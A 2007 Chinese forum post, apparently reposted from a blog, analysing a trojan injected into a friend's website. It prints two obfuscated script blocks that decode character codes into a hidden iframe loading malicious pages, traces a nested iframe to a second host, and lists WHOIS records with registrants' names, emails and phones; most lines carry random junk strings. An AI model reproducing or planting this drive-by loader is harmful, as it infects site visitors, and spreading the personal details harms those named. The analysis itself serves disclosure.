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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, d oEuKT  
DBaZcO(U  
http://www.areway.cn/?p=175 M6Xzyt|  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: >jmHe^rH  
          J%r:"Jm[y1  
<script>t=’60,105,102,114,97,109,101, mejNa(D ^  
32,115,114,99,61,104,116,116,112,58,47,47, ~4FzA,,  
102,114,101,101,46,117,45,117,117,117,46,99, wL:7G  
110,47,101,114,114,111,114,46,104,116,109, g| 3bM  
32,119,105,100,116,104,61,49,48,48,32,104, sxRKWM@4  
101,105,103,104,116,61,48,62,60,47,105,102, GJQ>VI2cY  
114,97,109,101,62′; "?aI  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 4\|Q;@f  
                                                                                                  d(V4;8a0  
<script>t=’60,105,102,114,97,109,101,32,115, Bnk<e  
114,99,61,104,116,116,112,58,47,47,102,114, <Rn-B).3bs  
101,101,46,117,45,117,117,117,46,99,110,47, V0 Z8VqV  
101,114,114,111,114,46,104,116,109,32,119, (j@c946z""  
105,100,116,104,61,49,48,48,32,104,101,105, Z+6WG  
103,104,116,61,48,62,60,47,105,102,114,97, O9?.J,,mVh  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); )hQ]>o@i{  
document.write(t);</script> #*y.C[^5{  
                                                                                                  7 qn=W  
<html xmlns=” Z]DZ:dF  
http://www.w3.org/1999/xhtml vuY X0&  
“> McS]aJfrk  
<head> ZD|F"v.  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> H$WD7/?j  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 0n2H7}Uq  
<title>首页 - 爱生活家庭网 Gukvd6-g9b  
                                                                                                                                                    Srmr`[i  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ',]Aj!q  
转换字符串后的大概内容是(谁点击后果自付): L'KKU4zj  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Qt>kythi  
                                                                                                                                  0$-|Th:o  
查询玉米u-uuu.cn的详细信息: zx]r.V  
Domain Name: u-uuu.cn 9a]o?>`E  
ROID: 20070901s10001s64972306-cn ,aS+RJNM  
Domain Status: ok {4/*2IRN9h  
Registrant Organization: 王雷 ?#&[1.= u  
Registrant Name: 王雷 (vD==n9Hd  
Administrative Email: czlovexs@126.com \P":V  
Sponsoring Registrar: 北京万网志成科技有限公司 `\"<%CCe  
Name Server:ns.yovole.com *}#HBZe(9  
Name Server:ns1.yovole.com [!3cWJCt  
Registration Date: 2007-09-01 17:54 )jUPMIo  
Expiration Date: 2008-09-01 17:54 [ypE[   
最后PING了一下地址 都没有什么…. *$R9'Yo}F  
                                                                                                c1FSQ m81  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. \zk>cQ  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> F{Yr8(UHA  
<script language=”javascript” src=” 9-_Lc<  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 8|\ -(:v  
> b~* iL!<  
这个玉米应该有可能是木马作者的: $`\qY ^.(  
foafau.info的详细信息: :a2[d1  
Access to INFO WHOIS information is provided to assist persons in G~u$BV'  
determining the contents of a domain name registration record in the nr&|  
Afilias registry database. The data in this record is provided by wexX|B^u  
Afilias Limited for informational purposes only, and Afilias does not [Rq|;p  
guarantee its accuracy.  This service is intended only for query-based II _CT=  
access. You agree that you will use this data only for lawful purposes XA>uCJf  
and that, under no circumstances will you use this data to: (a) allow, XI$W  
enable, or otherwise support the transmission by e-mail, telephone, or *Od?>z  
facsimile of mass unsolicited, commercial advertising or solicitations f9Xa}*  
to entities other than the data recipient’s own existing customers; or [X]hb7-&  
(b) enable high volume, automated, electronic processes that send wxJ"{(;  
queries or data to the systems of Registry Operator, a Registrar, or [hH>BEtm  
Afilias except as reasonably necessary to register domain names or $gYGnh_,Q  
modify existing registrations. All rights reserved. Afilias reserves kxyOe[7 S  
the right to modify these terms at any time. By submitting this query, 8q6Le{G  
you agree to abide by this policy. bxL'k/Y$  
Domain ID:D22418703-LRMS q^^R|X1  
Domain Name:FOAFAU.INFO m;xa}b{(i  
Created On:20-Nov-2007 16:05:42 UTC v)|a}5={  
Last Updated On:20-Nov-2007 16:05:44 UTC %qeNC\6N  
Expiration Date:20-Nov-2008 16:05:42 UTC @C[p?ak  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) k^;/@:  
Status:CLIENT DELETE PROHIBITED jZmL7 V  
Status:CLIENT RENEW PROHIBITED e&ZH 1^O  
Status:CLIENT TRANSFER PROHIBITED n.NWS/v_{  
Status:CLIENT UPDATE PROHIBITED r7}KV| M  
Status:TRANSFER PROHIBITED $}S0LZ_H  
Registrant ID:GODA-040110615 Yg&/^  
Registrant Name:liu hong 2{ l|<'  
Registrant Organization: Ny`SE\B+/  
Registrant Street1:beijing @J6r;4|&  
Registrant Street2: z.)*/HGJm  
Registrant Street3: &Y9%Y/Y  
Registrant City:beijing %1GKN|7  
Registrant State/Province: `<T4 En  
Registrant Postal Code:100000 doX`NbA  
Registrant Country:CN %$)Sz[=  
Registrant Phone:+86.860108888777 LB$0'dZU  
Registrant Phone Ext.: zZ51jA9x  
Registrant FAX: qJl DQc-  
Registrant FAX Ext.: zd$iD i($  
Registrant Email:bbbshiji@163.com In:V.'D/>t  
Admin ID:GODA-240110615 {`)o xzR  
Admin Name:liu hong L:@COy  
Admin Organization: &jg>X+;  
Admin Street1:beijing n++ak\  
Admin Street2: $JBb] v8_  
Admin Street3: b"td]H3h  
Admin City:beijing pV:44  
Admin State/Province: 4XiQ8"C  
Admin Postal Code:100000 %Y#W#G  
Admin Country:CN `RURC"  
Admin Phone:+86.860108888777 &E!m(|6?+  
Admin Phone Ext.: ?/,V{!UTtq  
Admin FAX: <pG 4 g  
Admin FAX Ext.: L9,GUtK{  
Admin Email:bbbshiji@163.com ?/@XJcm+  
Billing ID:GODA-340110615 Lq6nmjL  
Billing Name:liu hong ~SA>$  
Billing Organization: &"Cy&[  
Billing Street1:beijing I'n}6D.M  
Billing Street2: U_Mag(^-  
Billing Street3: vGJw/ij'X  
Billing City:beijing vt(}8C+  
Billing State/Province: XS&;8 PO  
Billing Postal Code:100000 u!It' ;j  
Billing Country:CN Sc}Rs  
Billing Phone:+86.860108888777 x|^p9m"=%  
Billing Phone Ext.: `8\" 3S  
Billing FAX: )N3/;U;  
Billing FAX Ext.: `@6y Wb:X  
Billing Email:bbbshiji@163.com ZN'B @E=p  
Tech ID:GODA-140110615 fcohYo5mh  
Tech Name:liu hong KNP^k$=)3c  
Tech Organization: [;D1O;c'W.  
Tech Street1:beijing W_/$H_04+  
Tech Street2: hQ L@q7tUr  
Tech Street3: YF;2jl Nm  
Tech City:beijing 4@ny%_/  
Tech State/Province: ?e+y7K}"]  
Tech Postal Code:100000 [V;u7Z\r-  
Tech Country:CN =&.9z 4A  
Tech Phone:+86.860108888777 PuBE=9,  
Tech Phone Ext.: u-.nR}DM_  
Tech FAX: ].QzOV'  
Tech FAX Ext.: g*4^HbVxt  
Tech Email:bbbshiji@163.com _IxYnm`pc  
Name Server:NS27.DOMAINCONTROL.COM awQB0ow'$P  
Name Server:NS28.DOMAINCONTROL.COM ose)\rM'  
Name Server: ~ `{{Z&  
Name Server: {=3'H?$  
Name Server: !{g>g%2!  
Name Server: =XSupM[T  
Name Server: 4VsttT  
Name Server: 'XYjo&w  
Name Server: =gd~rk9  
Name Server: k%N$eO$  
Name Server: *J4 \KU  
Name Server: Z{F^qwne  
Name Server: 1^WkW\9kO  
                                                                                                          LiGECqWBa'  
接着下载每个文件里面的代码: (J(SwL|  
一步一步看.. YXU2UIY<~  
]yFO~4Nu  
}^odUIj  
^ Vc(oa&;  
/kO%aN  
RW Jyd=  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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